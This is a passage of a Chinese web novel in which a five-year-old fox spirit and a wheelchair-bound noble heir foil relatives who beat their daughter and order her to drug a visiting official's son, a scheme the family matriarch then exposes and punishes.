傅折洲强装镇定,声音却带着一丝不易察觉的沙哑:
“萧大公子,此乃在下私藏的小玩意儿,见笑了。”
语气平淡,却字字在掩饰,生怕萧瑾慕看出端倪,更怕米灵受到半点伤害。
而白发小人儿怯生生地看了看众人,目光落在倾倾身上,竟像是很喜欢她。
她小心翼翼地挪到倾倾手边,用小小的身子轻轻蹭了蹭她的指尖,身上莹光微闪。
倾倾忽然“咦”了一声,眼神有些恍惚。
萧瑾慕察觉:“怎么了?”
倾倾晃了晃小脑袋:“她好像给我看了一个很短的画面,一个小姐姐在哭、手里拿着亮晶晶的瓶子,看不清楚,没了。”
傅折洲闻言,眸光微动,看了饭团一眼,却未多说。
下一刻,米灵身上泛起一层柔和的莹光,浓郁清甜的米香瞬间弥漫整个书房,桌上凭空多了几块金灿灿的米糕。
用的正是江南新收的稻米,香气扑鼻,色泽诱人。
米灵拍了拍倾倾的手背,小手指着米糕,示意她快吃。
傅折洲看着这一幕,平日里的沉稳淡漠荡然无存,带着几分傲娇与不自在,低声道:
“能吃到她做的米糕,是你的福气。”
话音未落,米灵已爬到他的肩上,小手捏着一粒更小巧、更香的米制品,踮起脚尖凑到他嘴边,非要喂他不可。
傅折洲僵在原地,耳根彻底红透,却又舍不得推开,只能别扭地张口。
萧瑾慕期待的看向倾倾。
谁知她一见米糕,眼睛瞬间发亮,犹如饿鬼附体,抓起一块就往嘴里塞,两三口就只剩半块,吃得满嘴香甜,一脸满足。
萧瑾慕看得气结,脸色一沉,重重冷哼一声,表达自己的不满。
倾倾见状,嘻嘻一笑,凑到他身边,小脸上满是狡黠:
“萧瑾慕,倾倾逗你的!”
她小手一展,一块完整的米糕出现在掌心,香气扑鼻。
倾倾笑眯眯地把米糕递到他嘴边:“萧瑾慕,吃呀,倾倾特意给你留的!”
萧瑾慕装作勉为其难,张口咬了一小口,可眼底那化不开的温柔与笑意,却早已说明,他比谁都开心。
倾倾把最后一块米糕塞进嘴里,鼓着腮帮子,一脸满足,可眼底还透着意犹未尽的馋意。
她忽然看向傅折洲,好奇的发问:“傅哥哥,你为什么叫她饭团呀?她明明是一粒小小的米,又不是饭团。”
傅折洲被问得一噎,哪还有平日里的运筹帷幄,脸上闪过一丝不自在,强装镇定,梗着脖子,一脸傲娇地哼了一声:“米粒怎么了?米粒总有一天,会变得像饭团一样厉害。”
可米灵却不认同似的,从他肩头一跃而下,迈着小小的步子跑到倾倾面前,对着她轻轻晃了晃身子,又指了指自己,再指了指傅折洲,像是在说什么。
倾倾像是瞬间接通了信号,一拍小手,大声翻译道:
“哦!饭团是说,等她真的变成饭团,灵力就够了,就能活很久很久,就能一直陪着傅哥哥,不会离开他啦!”
这话一出,傅折洲脸上的傲娇瞬间崩塌,取而代之的是一片滚烫的红晕,他张了张嘴,想要说什么,却又一个字也说不出来,只能尴尬地别过脸,假装看风景。
书房里瞬间充满了欢乐又好笑的氛围,连一向冷脸的萧瑾慕,都忍不住勾起嘴角。
就在这时,书房门被轻轻叩响。
荣青推门而入。
他一进门就闻到一股浓郁的米香,明明桌上空无一物,也不见有下人送吃食进来,心中满是疑惑:
怎么感觉每次都刚好错过什么?
他目光迅速扫过室内,却只见萧瑾慕、倾倾、傅折洲三人,方才米灵现身、米糕凭空出现的奇异景象早已消失无踪。
荣青只能压下心头的疑惑,不敢多做打量,只垂首恭敬禀报:“大少爷,属下有要事禀报。”
说罢看向傅折洲。
傅折洲意会,冲萧瑾慕拱拱手:“瑾慕,今日与你相谈甚欢,真是相见恨晚,待你得空再约。”
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>便要告辞。
“折洲兄稍等。”萧瑾慕开口挽留,“倾倾说你可信,我便信你,这事也不必避着你,虽是我萧家家事,但说不准与折洲兄也有几分关联。”
便示意荣青接着说。
荣青说道:“两位堂叔确实派了心腹出府,不过只在府外见了陆小姐,说了几句话便折返,并未去往别处。”
傅折洲微顿,面上依旧平静,眼中却掠过一丝锐利。
他迅速在脑中推演:萧家两位堂叔勾结陆芸芸,背后是江南织造司插手地方事务,这已不是单纯的萧家内斗,而是织造司试图渗透两江势力的信号。
如此说来,如果萧瑾慕在这场内斗中失败,不仅萧家面临洗牌,总督府在接下来的也会处于被动。
傅折洲看向萧瑾慕,语气嘲讽暗含深意:“陆小姐倒是好本事,连萧府的家事,都能插上一手。”
“折洲兄,你以为陆芸芸只是针对我萧家?”萧瑾慕语气依旧平静,却带着不容回避的锐利:
“她今日能借妖物构陷我萧家,明日就能借妖物缠身的罪名,安在任何不顺从织造司的人头上。”
“到时候,只要织造司想,一句傅家嫡子私藏妖物,祸乱江南,就能让傅家万劫不复。”
萧瑾慕刻意顿了顿,让傅折洲联想到米灵。
“你藏的那位,看似不起眼,却是最容易被织造司拿来做文章的把柄。我若倒,没人替你挡在前面,织造司第一个就会查傅府,到时候,你护得住她吗?”
他语气放缓,给出保护承诺:
“我可以保你。只要我们联手,我以萧家嫡子的身份,替你挡下所有关于妖物的构陷,织造司就不敢轻易动傅家。”
“你帮我清内患,我帮你固权位,双赢。”
傅折洲手指无意识覆上米灵藏身的位置,追问道:“萧瑾慕,我如**你?若他日你自身难保,又拿什么护她周全?”
萧瑾慕迎上他的视线,“萧某若败,自会先一步处理所有知情人,包括我自己。但我不会败,因为现在,我有了不得不赢的理由。”
他的目光掠过倾倾,又落回傅折洲身上:“你的理由,与我的理由,如今系在同一条船上。这个答案,够么?”
傅折洲沉默片刻,终是缓缓点头:
“萧大公子好算计。傅某,奉陪。”
第22章 饭团预言,会有个盖世英雄来救我~
萧玉婷在白日的宴会上被倾倾抢了风头,又出了萧熠那档子事。
此刻脸色煞白,不是气的,是害怕。
父亲交代的事情没有做好,待会怕是又要挨揍。
她拖着步子走在青石小道上,磨磨蹭蹭往萧文柏和萧文仲暂居的院子走去。
但路总会走完。
萧玉婷站在院子门口,深吸一口气,强压下内心的恐惧,生怕待会表现出畏惧的神色会被萧文柏数落小家子气。
颤抖着推开院门,还没开口。
萧文柏听见动静就焦急走了过来,询问道:“事情办得如何?傅公子和代小姐是什么态度,有没有把话递给他们?”
完全没有注意到萧玉婷控制不住颤抖的身体,半晌听不到回答,萧文柏没了耐心,扬起手一巴掌拍了过去。
啪!
力道之重,萧玉婷跌倒在地上,反而因为这一巴掌缓解了几分恐惧,颤抖着开口:“父亲嘱咐女儿办了这游园会,起先很顺利,可惜二公子萧熠来招惹了萧瑾慕,折断了手,扰了大家伙的兴致,女儿还没来得及与两位贵人攀上交情便不欢而散了。”
她不敢说倾倾后面出风头那些事,生怕萧文柏听了觉得她实在烂泥扶不上墙,一气之下或许会打得更狠。
果然,萧文柏听见她连话都没递上就敢回来,脸色顿时就变了,左右看了看没见到顺手的武器。
便一脚踢了过去。
“废物!这点小事都办不好,怎么有脸回来!不争气的东西,当初就该把你掐死!”
萧玉婷熟练地抱着头蜷缩在地上,只护住几处要紧的地方,咬着牙不敢叫出声来,生怕萧文柏会变本加厉,只能默默承受着。
萧文仲跟在后面姗姗来迟,其实早就听到萧玉婷那番话,心里也觉得这侄女实在不争气,但还是装模作样说道:
“二哥打轻些,别把玉婷脸打伤了,玉婷你也是,不是早就跟你提过不要请萧熠吗?那草包脑子里只有那些事,去到会上眼珠子估计都黏在人家小姐身上,怎么会给他发帖子?”
萧玉婷护着头,声音闷闷地传了过来:“我没有给萧熠发帖子,不知道他从哪里得的消息。”
萧文柏踢得太狠,萧玉婷感觉喉咙有一股腥甜冲了上来,吓得赶快求饶:“父亲饶命,女儿听见那萧瑾慕邀了傅折洲去他院子里,这会估计还在,女儿想再去碰碰运气。”
“只要说服傅折洲帮我们,那代荣薇肯定也会站在我们这边。”
萧文柏听见这话终于停下动作,狠狠道:“死丫头,刚才怎么不说,欠打的贱命!”
他低下头看看萧玉婷的脸,确认脸上没留下伤痕,便道:“萧瑾慕怎么突然邀请傅折洲,他一个病秧子哪里值得傅折洲帮他,估计是求傅折洲保他那条贱命。”
说着把萧玉婷从地上提起来,“还不快去?若是今天办不好这事,你也不用跟着我一起**,回来的路上就自己投河自尽吧。”
萧文仲听见傅折洲去了萧瑾慕院子里,计上心来,凑到萧文柏身边递给他一物。
“二哥,还记得七叔公给的那‘好东西’吗?本是给萧敬安准备的,眼下用在傅折洲身上,或许效果更妙。”
萧文柏接过那玉瓶子,秒懂,眼中闪过**的光,“倒是把这宝贝忘了,还是三弟聪明,若傅折洲被发现在萧瑾慕那边出了这档子事,萧瑾慕必定难逃其咎,总督府可不是吃素的。”
说罢把玉瓶子塞到萧玉婷手中,半是威胁半是蛊惑:“乖女儿,该你回报爹爹养育之恩的时候到了,只要你见了傅折洲就把这瓶子里的药粉倒在帕子上给他一闻,到时生米煮成熟饭,爹爹也能跟着你享福了。”
萧玉婷显然听明白了,从骨子里颤抖起来,打着摆子应道:“知,知道了,我马上就去。”
对生存的渴望压过一切,她捏着那个玉瓶子,仿佛拽着救命稻草般慌乱地走出院子。
整个人离开院子,逃离地狱的后劲才涌了上来,她摸了摸脸颊,发现自己已经泪流满面。
年幼的她还听不懂三叔和父亲之间隐晦的交流,但她知道,今日干不好这件事,她那些庶妹定然会踩着她的脑
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袋爬上去。
父亲从不在意她们这些女儿,只要有用谁都可以当下一个二房嫡女。
一路上,内心的天平在左右摇晃,她既希望傅折洲早已离开萧府,又希望他还没走。
就这么挣扎着直到看见前方拐过来的那道身影。
是傅折洲,他似乎刚好要离开。
一切都是那么巧。
萧玉婷闭了闭眼睛,无声说了句抱歉。
对不起,我想活下去。
再睁开眼时,她已经是平日那副训练好的端庄仪态,身上的痛意仿佛没了感觉,她踩着碎步迎了上去。
“傅哥哥。”萧玉婷柔柔叫了一声,面上是恰到好处的娇羞。袖中的手,却趁着行礼的姿势,慌忙将玉瓶中的药粉抖在了早已备好的帕子上。
傅折洲注意到她,面上没什么表情,只是用锐利的目光盯着她,仿佛看到了萧玉婷内里强忍着恐惧与痛意的灵魂。
萧玉婷走得更近了些,这才将那张被动过手脚的帕子递了过去。
她脸上的红晕更深了些,眼里盈起一汪水,羞怯道:“傅哥哥,玉婷今日一见你就觉得与他人不同,还请你收下玉婷的心意吧。”
傅折洲却没有接过,只是站在那,仿佛在等着什么。
直到萧玉婷眸中的水意再也盛不住,化作两条小河顺着脸颊流下。
她慌忙抬手去擦,再抬头时眼前哪里还有傅折洲,仿佛刚才的一切都是她的幻觉。
脚上却突然传来一阵痒意,下意识低下头,只见一只粗胖的**毛虫正蠕动着肥胖的身躯顺着她的脚往上爬。
“啊!!”
萧玉婷两眼一翻晕倒在地。
头顶一棵树上发出沙沙的声响,倾倾从树叶间探出头来,看着傅折洲还好好地站在原地。
原来刚才是她对着萧玉婷构造了一个简单的小幻境,本意只是想吓吓这个可怜的女孩,却没想到直接给人吓晕了。
倾倾跳下树,有些不好意思地挠了挠小脸。
傅折洲这才露出恍然大悟的表情,说道:“原来饭团预言中来救我的人是你。”
第23章 傅折洲是萧瑾慕的小弟
桂花枝丫还勾着倾倾的小裙摆,她捏着刚折的桂花花枝从树上轻飘飘跳下来,小短腿落地时还晃了晃。
大眼睛先看向晕在地上的萧玉婷,鼻尖还萦绕着深深的恐惧的味道。
直到傅折洲那句带着诧异的话落进耳朵里,倾倾才猛地转过头看他。
挠着小脸蛋的手顿在那,眼睛瞪得溜圆。
倾倾压根听不懂话里的弯弯绕绕,只揪着饭团两个字歪了歪小脑袋。
软糯的童音带着点懵:“饭团?是那个变好吃米糕的米粒吗?她怎么会预言呀?”
她小步挪到傅折洲面前,把桂花枝往身后藏了藏。
几朵金黄的小桂花因她动作簌簌飘落。
另一只小手抬起来,指了指晕过去的萧玉婷,又指了指自己。
理所当然道:“她身上有很深的恐惧的味道,好涩。还有对你的恶意,肯定是要欺负你。”
“你是萧瑾慕新收的小弟,我肯定要罩着你的。”
说着又想起什么,凑近傅折洲闻了闻,确认他身上没有那股讨厌的药粉味,才放心地松了口气。
只是依旧没太明白方才那句预言的意思,又问了一遍:
“饭团真的预言我会来呀?她怎么知道我溜出来采桂花的?萧瑾慕都没发现。”
另一棵树上藏着的青锋面无表情地想:大公子马上就会知道了。
傅折洲听着她小嘴叭叭一顿分析,眼中讶色愈浓。
能嗅到情绪?他忽然想起那个传闻,脱口而出:“你真是仙姑娘娘?”
“啊?”倾倾更懵,怎么这个人也叫她仙姑娘娘,没好气道:“我不知道呀,你去问萧瑾慕好了。”
“你还没有回答倾倾的问题呢?”
可恶的人类,居然不好好回答狐老大的问题!
就算是萧瑾慕的小弟,倾倾也是会揍你的哦!
倾倾恨恨地想着,小拳头悄悄捏起来。
小弟傅折洲“哦”了一声,似乎被仙姑娘娘的实力折服了,老实道:“饭团每月可以预言一次,一般都是预感到我会有危险的时候才会使用。”
倾倾捂住嘴,眼珠子滴溜溜一转,心里噼里啪啦打起了算盘:若是能预言?不对,不如换点实际的!
她忽然绽开笑脸,绕着傅折洲转圈:“饭团还能变米糕吗?我拿去贿赂萧瑾慕,他肯定睁只眼闭只眼!”
傅折洲看她那副绞尽脑汁的样子,不禁失笑:“饭团每天只能做一次米糕。”
心想这丫头倒会物尽其用,连贿赂的路子都想好了。
“好叭~”倾倾无奈摊手。
转过身冲傅折洲扬起手拜拜。
走了几步路又扭过头来,小脸上做出凶狠的表情,“要是敢不听萧瑾慕的话,我会揍你的哦!”
放完狠话三两下就跑远了,消失在小路尽头。
傅折洲却像是被戳中笑点,捂住肚子哈哈大笑,哪里还有白天那副稳重的样子。
笑罢,他直起身,摸了摸藏在袖中的饭团,说道:“这仙姑娘娘还真是有趣,怪不得谁都喜欢她。”
而后看都没看地上的萧玉婷,离开了这处是非之地。
待此处恢复寂静,青锋从树上一跃而下,找出那玉瓶子,里面还剩些药粉没用完。
——
萧玉婷悠悠醒来,身上满是尘土和几朵桂花。
想起那条**毛虫下意识打了个冷战,慌忙低头去看,见腿上光秃秃的,终于松了口气。
可一摸到袖袋里那方没送出去的绣帕,父亲阴沉的脸色和完不成就跳河自尽的威胁瞬间砸进脑子里。
冷汗冒了出来,恐惧围绕着她。
萧玉婷捏着帕子,死死咬着下唇,下意识用痛意缓解恐惧。
怕被揍、更怕真的被推去跳河,眼底闪过一丝慌急的狠劲。
她不敢说实话,只能硬着头皮撒谎说事儿办成了。
萧玉婷找了个偏僻的地方扔了那帕子,回去的路上心都揪成一团。
父亲的狠戾模样在眼前晃,跳河的威胁像根绳子勒着脖子。
只
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匆匆理了理乱掉的衣衫,推门时强压着恐慌,低着头对萧文柏躬身:
“爹,办妥了,傅折洲已经闻过那帕子。”
话说出口时声音都在发飘,生怕被看出端倪,连头都不敢抬,只盼着能蒙混过关。
先躲过眼前的死劫和打骂再说,至于后续会不会露馅,此刻她根本顾不上想。
萧文柏正背着手立在堂屋,闻声猛地回头,扫过她煞白的小脸,惊喜道:“当真?”
萧玉婷心头一紧,头埋得更低,硬着头皮道:“当真,他没防备,我说送帕子给他,他就凑过来闻了,没发现异样。”
她声音发颤,不敢提半分被吓晕的事,只盼着父亲信了这话。
萧文柏盯着她半晌,见萧玉婷凌乱的衣裳和尘土,那张老脸上是掩饰不住的兴奋和贪婪,
走过去拍了拍萧玉婷瑟瑟发抖的身体,欣慰道:“好女儿,总算办了件好事,明日一早爹就去求老夫人赐你这桩好婚事!”
萧玉婷浑身一僵,指尖冰凉。
她没看见,阴影里,三叔萧文仲正慢条斯理地用一方雪白帕子,擦拭着指尖不小心沾上的一点莹蓝色粉末,与那玉瓶中药粉的颜色,截然不同。
他望着侄女单薄的背影,嘴角勾起一抹冰冷的弧度。
——
萧瑾慕坐在书房,手里是青锋带回来的那玉瓶子。
面无表情地听着青锋的汇报,只是在听到倾倾从桂花树上跳下去吓晕了萧玉婷时嘴角勾了勾。
“二房走投无路,才用上这般下作的‘醉仙引’。”萧瑾慕将瓶子搁在案上,指尖冰凉,“他们赌的,就是傅折洲身败名裂时,无人会信一个浪荡子的辩白,而我这个‘东道主’,更是同谋。”
一石二鸟,其心可诛。
又听把傅折洲当作他的小弟,还是没忍住哼笑一声。
笑归笑,对于倾倾偷溜出院子这件事还是让萧瑾慕有几分不爽。
他心里憋了坏,打算好好让这个小馋鬼长长记性。
第24章 piu~一下,就有坏人要害倾倾
萧瑾慕把荣青唤进来,吩咐道:“明日早上估计要去祖母那儿,下午让厨娘做五十块桂花糕留着。”
(ΩДΩ)?!
荣青震惊,自动脑补了五十块桂花糕叠起来该是多大的一座小山。
虽然不理解但秉承着主子永远没错的信条。
荣青应下,又乖乖退了出去。
刚打开门就看见一团毛茸茸缩在门边。
是之前那只被主子抱在怀里的红尾巴尖幼狐。
萧瑾慕也看见了,出声道:“还不进来?也不怕在外面待久了着凉。”
馋鬼倾倾变回幼狐本体,嘴里衔着桂花枝,心里美滋滋的。
显然她在门外偷听了好一会儿,听到萧瑾慕要做桂花糕给她吃,美得不行。
文盲倾倾压根不知道五十块有多少?只觉得萧瑾慕是这天底下顶好的头一号大好人。
于是屁颠屁颠地衔着桂花枝窜到萧瑾慕书桌上。
献宝似的递到萧瑾慕面前。
荣青关上门,青锋汇报完也自觉从窗户飞了出去。
萧瑾慕却不接过来,故意往后缩了缩手。
“这是给我的?”
谄媚倾倾点了点狐狸脑袋。
见萧瑾慕不接,耳朵动了动,又往前凑了凑,湿润的鼻尖蹭了蹭萧瑾慕。
桂花枝晃得更香,呜地又软声催了一遍。
尾尖那点红,一翘一翘。
萧瑾慕看着她这副全心全意信赖、又急着献宝的模样,心里已经软得一塌糊涂,却偏还想多逗一瞬。
他轻轻点了点她的小耳朵,声音低低的,焉坏道:“我不要。”
小狐顿住。
圆溜溜的黑眼睛眨啊眨,似乎没料到他会这么说。
耳朵微微聋拉下来一点,衔着花枝的小嘴巴都松了松,一副快要委屈起来的模样。
尾尖那点红,都奄奄垂了下去。
萧瑾慕哪里舍得真逗哭她,笑意越发深,立刻伸手,轻轻从她口中接过那枝桂花。
另一只手顺势拂过她背上软**,顺了顺她蓬松的尾巴,特意在那抹红尖上揉了揉。
“逗你的。”
他声音温软,带着独独对她才有的纵容,“倾倾送的,我最喜欢。”
小狐立刻懂了。
瞬间又精神起来,尾巴欢快地一甩,那点红尖扫过萧瑾慕,轻轻蹭着他的手指,呜噜呜噜地小声哼着,满足又得意。
——
第二天一早,果然萧老夫人派了赵嬷嬷来唤萧瑾慕过去。
倾倾昨夜很是对萧瑾慕殷勤了好一会,死活赖在他那不走。
这会还是狐狸模样,小小一只被萧瑾慕抱在怀里睡大觉。
“大公子什么时候养的这狐儿,看得人心里好生欢喜。”赵嬷嬷本来要说萧文柏在老夫人面前是何等卑劣的嘴脸,开口前也忍不住夸一夸倾倾。
萧瑾慕面色如常,心里却很受用,淡淡道:“养许久了,嬷嬷不常来不知道也正常。”
“倾倾呢?”
“在她房里睡着呢,昨晚玩得太疯,这会怕是还起不来的,就不难为她了。”
赵嬷嬷点了点头,应和道:“年纪还这么小,正是长身体的时候,就让她睡着吧。”
于是才说起萧文柏带着萧玉婷在老夫人面前是好一番哭诉。
“非说傅公子在您这轻薄了萧小姐,老奴斗胆说句公道话,那傅公子怎么会看得上萧小姐呢?不说家事,光说相貌也是不搭配的。”
赵嬷嬷这话多少有点颜控的。
萧瑾慕不作声,实话说,他其实压根没注意萧玉婷长什么样子,实在不知道怎么接赵嬷嬷这话。
但事情大概已经说清了,赵嬷嬷没人捧她的场也就不再出声,安静地在前面带路。
推轮椅的还是荣青,只是身旁多了个两个老妇人,看着都是精明的模样。
几人就这么进了老夫人的院子。
萧瑾慕甚至没看萧文柏与萧玉婷,只先向老夫人躬身行礼。
“祖母安。”
萧老夫人见他来,松了口气:“慕儿来得正好,你二叔方才正说那总督府的傅公子轻薄了玉婷呢。”
萧瑾慕这才微微抬眼,平静地扫过垂泪的萧玉婷,最后落在萧文柏身上,缓缓道:
“昨夜傅折洲一直与我在书房赏画品茶,半步未离,直至侍卫亲自接回总督府马车。”
直直盯着萧文柏:“二叔可有证据证明?”
萧文柏擦了擦眼角,一副为女儿打抱不平的模样,惊声道:
“瑾慕,二叔知道你与那傅折洲有交情,可是女儿家的清白最是重要,二叔怎么敢乱开玩笑,你就不要再偏袒傅折洲了,为你这可怜的堂姐想想吧!”
萧文柏又转向老夫人,重重磕了下头:
“事已至此,侄子斗胆,请老夫人出面做主,将玉婷许配给傅折洲,以全小女名节,也结萧家与两江总督之好。”
老夫人眉头紧锁,又问萧瑾慕:“慕儿,你可还有话要说?”
萧瑾慕正等这句话,看向正伤心不已的萧玉婷,淡淡道:
“既然二叔一口咬死是在我那儿出的这等腌臜事,孙儿当然要查个清楚,我身后这两位便是从宫里退下来的嬷嬷,之前专为陛下选拔秀女,想来只要对堂姐检查一番,自然真相大白。”
此话一出,萧文柏和萧玉婷的脸色都变了。
一个是慌的,一个是怕的。
萧文柏脸色惨白,厉声欲盖弥彰:“萧瑾慕,玉婷可是被欺负的那一个!”
萧瑾慕不为所动:“到底谁是被欺负的那一个,查验一番自然就清楚了。”
倾倾这时候被吵醒了,从萧瑾慕怀里探出小小的狐狸脑袋,一下看见老夫人桌上的蜜饯眼睛就亮了。
小狐狸在萧瑾慕怀里扭了两下,挣脱怀抱,可惜桌子太高够不到。
于是纵到老夫人怀里撒起娇来。
老夫人
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正伤神呢,就看这软萌的小狐狸对着自己放电。
当即爱不释手摸了两把,顺手拿过桌边的蜜饯喂她。
倾倾得偿所愿,发出呼噜呼噜的声音。
突然想起萧瑾慕也在,嘴里叼着一颗蜜饯又跑回萧瑾慕怀里。
把蜜饯放到萧瑾慕手里,示意他吃。
“贪吃鬼,吃吧。”萧瑾慕拿起来喂她。
倾倾这才心满意足窝在萧瑾慕怀里吃起来。
只是看见哭得发抖的萧玉婷时,耳朵动了动。
倾倾虽然不懂大人的阴谋,但她能感受到萧玉婷身上散发出的恶意,这恶意正对着萧瑾慕。
她心中着急,想要帮萧瑾慕,于是调动体内微弱的妖力,尾巴尖轻轻甩了两下,一丝常人看不见的淡白妖气便悄无声息地缠上萧玉婷。
这妖气能放大人类心中的恐惧,并让人短暂地陷入幻觉,但对于妖力尚浅的倾倾来说,每使用一次都会消耗不少元气。
萧玉婷本就被宫里来的嬷嬷吓得魂不附体,忽然一阵莫名的寒意顺着脊背爬上来。
明明还在正厅,她却恍惚看见:
侍卫冰冷的眼、被搜出的那方绣帕、还有那个不见的玉瓶子、自己躺在床上,而两个嬷嬷正对着老夫人说着什么。
一切恐惧在这一刻爆发。
“我没有!”萧玉婷彻底崩溃,哭喊着,“是三叔!药是三叔给我的!他说只要傅公子闻了这帕子,就会喜欢我。帕子也是他让我去丢掉的!”
“你胡说什么!”站在后面的萧文仲吓得魂飞魄散。
话一出口,萧玉婷自己都懵了,拼命想捂住嘴,却一句话接一句话往外冒,
“我没胡说!你还给了我一个小瓷瓶,说如果帕子不行,就把瓶里的药下在茶水里!那个瓶子我害怕,丢在花园西边的墙根下了!”
萧瑾慕一个眼神,荣青立刻离去,片刻后带回一个拇指大的小瓷瓶。
府医验完,手都在抖:“老爷,这是幻情散!**者三日不与人交合,便会经脉逆乱,状若疯癫!这、这是要毁人一生啊!”
萧文仲一下跪倒在地,连连磕头:“伯母饶命!是二哥逼我的!他说事成之后分我三间铺子,我才敢给的药啊!”
“你放屁!是你主动找我的!”萧文柏气得扑上去要打他,两人瞬间扭打在一起,互相谩骂,丑态百出。
满堂死寂。
“都给我住手!”萧老夫人脸色铁青。
两人立刻停手,瘫在地上。
萧文柏面如死灰,目光扫过萧瑾慕怀里的那只小狐狸,突然注意到小狐狸尾巴尖那抹异样的红色,再联想到之前萧玉婷莫名其妙地说出真相,他心中一凛,一个荒谬的念头冒了出来:莫非是这狐狸作祟?
他越想越觉得可疑,顿时恶向胆边生,猛地冲过去,指着小狐狸厉声道:"该死!肯定是你!你这妖物陷害我!我要打死你!"
第25章 处罚
电光石火间,萧瑾慕甚至没抬眼。
他只轻轻抬手,护住怀中那团毛茸茸,另一只手在轮椅扶手暗格处一按。
“咔嚓。”
机括轻响。
一道乌沉沉的黑影自轮椅扶手下端疾射而出,快得只剩残影,精准无比地撞上萧文柏的膝弯!
“呃啊!!”
萧文柏惨叫声骤起,前扑之势戛然而止,整个人重重跪倒在地上,膝骨脆响刺耳,听得人牙根发酸。
他疼得面色扭曲,抬眼撞进萧瑾慕一双幽深冷眸。
少年仍安坐轮椅,姿态闲淡如旧,只有怀里的狐崽被惊得耳尖竖挺,一双澄澈的圆眼,警惕地发亮。
“二叔,”萧瑾慕开口,声量不高,却如同重石砸向萧文柏心里,“在祖母面前动粗,你是嫌命长,还是觉得萧家的家法,早已管不住你了?”
萧老夫人终于从震怒中回过神来。
她猛地一拍桌案,案上茶盏应声跳起,蜜饯倾翻,金黄果脯滚了一地。
“放肆!”
老夫人豁然起身,满头银发衬得脸色愈显沉厉,目光如刀,先刮过跪在地上的萧文柏,再扫向已然崩溃的萧玉婷。
“勾结妖物、谋害家主在前,伪造清白,构陷贵客在后。”
“萧文柏,你好本事!将我萧家百年清誉,当做你往上爬的垫脚石,将嫡亲侄女,当做你换取权势的筹码!”
萧老夫人每说一句,萧文柏的脸色就更白一分。
“伯母,侄子冤枉!”萧文柏还想挣扎,膝上传来的剧痛却让他声音发颤,“是这狐妖,是萧瑾慕他设计害我!玉婷方才说的都是胡话,是被这妖物迷了心窍!”
“迷了心窍?”萧瑾慕忽然轻笑一声。
他低下头,指尖轻轻挠了挠倾倾的下巴。小狐狸舒服地眯起眼,尾尖那点红微微晃动。
“二叔莫非忘了,”萧瑾慕抬眼,眸中冷光湛然,“方才小狐一直在我怀里,半步未离。她若真有那等操控人心的本事,为何不直接让二叔你当场认罪,何必等堂姐自己说出来?”
萧文柏张了张嘴,哑口无言。
萧老夫人却听出了弦外之音。
她目光锐利地看向萧瑾慕:“慕儿,你早知道此事?”
“孙儿只是猜测。”萧瑾慕坦然迎上祖母的视线,“昨夜傅折洲离去时,曾提醒孙儿小心内院不靖。今早二叔便带着堂姐来祖母面前哭诉。时机太巧,巧得让人不得不疑。”
他顿了顿,语气转冷:“更何况,孙儿院中的侍卫昨夜确实抓到一只老鼠,从二叔院中溜出来,怀里还揣着些有趣的东西。”
荣青适时上前,将一个油纸包呈上。
纸包展开,里面是那玉瓶子,以及一方绣帕。
正是昨夜萧玉婷打算用来陷害傅折洲的那方。
“这是南疆来的醉梦香,混在寻常香料中无色无味,但若遇热,便会催发情欲,令人神智昏沉。”萧瑾慕淡淡道,“二叔若不信,大可请府医来验。”
证据确凿。
萧老夫人闭了闭眼,再睁开时,眼底只剩一片冰封的决绝。
“赵嬷嬷。”
“老奴在。”
“将萧文柏、萧文仲二人押入祠堂偏院,没有我的允许,任何人不得探视。”老夫人一字一顿,
“萧玉婷,送去家庙,闭门思过,没有我的吩咐,终身不得踏出庙门半步。”
终身!
萧玉婷猛地抬起头,脸上最后一点血色也褪尽了。
她张了张嘴,似乎想求饶,可对上祖母那双毫无温度的眼睛,所有话都卡在喉咙里,化作绝望的呜咽。
两个粗壮婆子上前,一左一右架起她。
“不!祖母,祖母饶命!玉婷知错了,玉婷再也不敢了!”萧玉婷终于哭喊出来,挣扎着想去抓老夫人的衣角,却被毫不留情地拖了出去。
哭声渐远。
萧文柏也被侍卫制住,他死死瞪着萧瑾慕,眼底翻涌着淬毒的恨意,嘶声道:“萧瑾慕!你以为你赢了?你一个病秧子,能撑起萧家吗?老夫人再偏袒你,萧家的家业终究是要传给萧熠的!”
老夫人的脸色沉了沉。
萧瑾慕却面色不变,只轻轻捂住倾倾的耳朵。
小狐狸不解地仰头看他,软软的耳朵在他掌心动了动。
“带下去。”老夫人挥挥手,语气疲惫。
侍卫将萧文柏拖走,厅内重归寂静。
良久,老夫人才长长叹了口气,目光落在萧瑾慕怀里那团雪
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白上,复杂难言。
“慕儿,”她缓缓道,“今日之事,你处理得妥当。但萧文柏有句话没说错,你身子弱,这些年又少在人前走动。萧家这艘船,掌舵的不止要脑子清醒,还得有副扛得住风浪的身子骨。”
老夫人斟酌着词句:“你先好生养着。等身子骨硬朗些,再慢慢学着打理家事。”
这话说得温和,意思却明白:萧家的权柄,暂时还交不到萧瑾慕手里。
倾倾似乎听懂了,小爪子扒住萧瑾慕的衣袖,仰头看他。
萧瑾慕垂眸,对上她清澈见底的眼睛。
他忽然想起同心契,想起只有五年的时间。
想起这府中无数双窥探的眼睛。
“孙儿明白。”萧瑾慕听见自己的声音,平静得异常,“祖母放心,孙儿会好生养着。”
老夫人点点头,摆摆手:“去吧。今日也累了,回去歇着罢。”
萧瑾慕行礼告退。
轮椅碾过青石板路,发出细微的辘辘声。
倾倾从他怀里探出头,看了看身后渐远的老夫人院落,又仰起小脸看萧瑾慕。
“萧瑾慕,”她已经变回了人形,小手抓着他的衣襟,“那个坏叔叔说的话,是什么意思呀?什么继承?什么家业?”
她皱着小眉头,努力理解那些复杂的话。
萧瑾慕垂眸,看着她懵懂的眼睛。
五岁的孩子,还不懂人间权力的游戏。
“意思是,”他回答道,“有些人觉得,只有身体强壮的人才能保护想保护的东西。”
倾倾眨了眨眼,似懂非懂。
然后她忽然挺起小胸膛,一脸认真:“可是萧瑾慕现在身体变好了呀!而且倾倾也会变厉害的!等倾倾变得好厉害好厉害,就能帮萧瑾慕打坏人!”
她说着,还挥舞了一下小拳头,以示自己很能打。
孩子气的誓言,却让萧瑾慕平静的内心冒出一股酸涩感,是悲伤。
他轻轻“嗯”了一声,没再说话。
轮椅转过月洞门,书房院落近在眼前。
荣青推开门,却见屋内早已有人等候。
傅折洲坐在窗边,手中把玩着一枚莹白的米粒。见他进来,抬眼一笑:“瑾慕,我来还个人情。”
第26章 这种惩罚,请务必多来几次
傅折洲将米粒放在桌上。
那米粒竟自动滚开,在桌面铺开一幅由光点勾勒的简图。
是江南织造司陆府的平面图。
其中一处库房被朱砂重点圈出。
傅折洲指尖点在那处,声音压得极低:
